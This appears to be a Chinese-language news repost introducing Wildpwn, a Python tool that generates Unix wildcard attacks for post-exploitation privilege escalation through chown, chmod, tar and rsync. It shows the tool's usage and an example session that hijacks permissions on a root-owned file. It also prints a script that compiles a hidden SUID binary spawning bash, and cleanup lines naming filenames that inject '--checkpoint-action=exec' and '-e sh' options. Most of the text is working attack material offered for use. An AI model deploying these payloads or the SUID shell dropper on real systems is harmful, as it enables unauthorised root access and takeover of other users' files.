Wildpwn:Unix萬用字元攻擊工具
ofollow" rel="nofollow,noindex" target="_blank">Wildpwn 是一個Python編寫的UNIX萬用字元攻擊工具。UNIX萬用字元攻擊是一種較早之前的黑客技術,但時至今日仍有其用武之地。在一些後滲透場景中,我們可以利用萬用字元來劫持檔案所有者,執行任意命令,提升許可權等。
在介紹工具之前,建議大家先閱讀下這篇介紹UNIX萬用字元的文件:https://www.exploit-db.com/papers/33930/
基本使用
usage: wildpwn.py [-h] [--file FILE] payload folder Tool to generate unix wildcard attacks positional arguments: payload要使用的payload: (combined | tar | rsync) folder要寫入payloads的位置 optional arguments: -h, --help顯示幫助資訊並退出 --file FILE獲取所有/更改許可權的檔案路徑。該引數只支援combined攻擊
Payload 型別
combined:使用chown & chmod 檔案相關技巧,具體請參閱文件的4.1 和 4.2部分。
tar: 使用Tar任意命令執行技巧,具體請參閱文件的4.3部分。
rsync:使用Rsync任意命令執行技巧,具體請參閱文件的4.4部分。
使用示例:
$ ls -lh /tmp/very_secret_file -rw-r--r-- 1 root root 2048 jun 28 21:37 /tmp/very_secret_file $ ls -lh ./pwn_me/ drwxrwxrwx 2 root root 4,0K jun 28 21:38 . [...] -rw-rw-r-- 1 root root1024 jun 28 21:38 secret_file_1 -rw-rw-r-- 1 root root1024 jun 28 21:38 secret_file_2 [...] $ python wildpwn.py --file /tmp/very_secret_file combined ./pwn_me/ [!] Selected payload: combined [+] Done! Now wait for something like: chown uid:gid *(or)chmod [perms] * on ./pwn_me/. Good luck! [...time passes / some cron gets executed...] # chmod 000 * (for example) [...back with the unprivileged user...] $ ls -lha ./pwn_me/ [...] -rwxrwxrwx 1 root root1024 jun 28 21:38 secret_file_1 -rwxrwxrwx 1 root root1024 jun 28 21:38 secret_file_2 [...] $ ls -lha /tmp/very_secret_file -rwxrwxrwx 1 root root 2048 jun 28 21:38 /tmp/very_secret_file
用於tar/rsync攻擊的Bash指令碼
#!/bin/sh # get current user uid / gid CURR_UID="$(id -u)" CURR_GID="$(id -g)" # save file cat > .cachefile.c << EOF #include <stdio.h> int main() { setuid($CURR_UID); setgid($CURR_GID); execl("/bin/bash", "-bash", NULL); return 0; } EOF # make folder where the payload will be saved mkdir .cache chmod 755 .cache # compile & give SUID gcc -w .cachefile.c -o .cache/.cachefile chmod 4755 .cache/.cachefile
Clean up (tar)
# clean up rm -rf ./'--checkpoint=1' rm -rf ./'--checkpoint-action=exec=sh .webscript' rm -rf .webscript rm -rf .cachefile.c
Clean up (rsync)
# clean up rm -rf ./'-e sh .syncscript' rm -rf .syncscript rm -rf .cachefile.c
*參考來源:kitploit ,FB小編 secist 編譯,轉載請註明來自FreeBuf.COM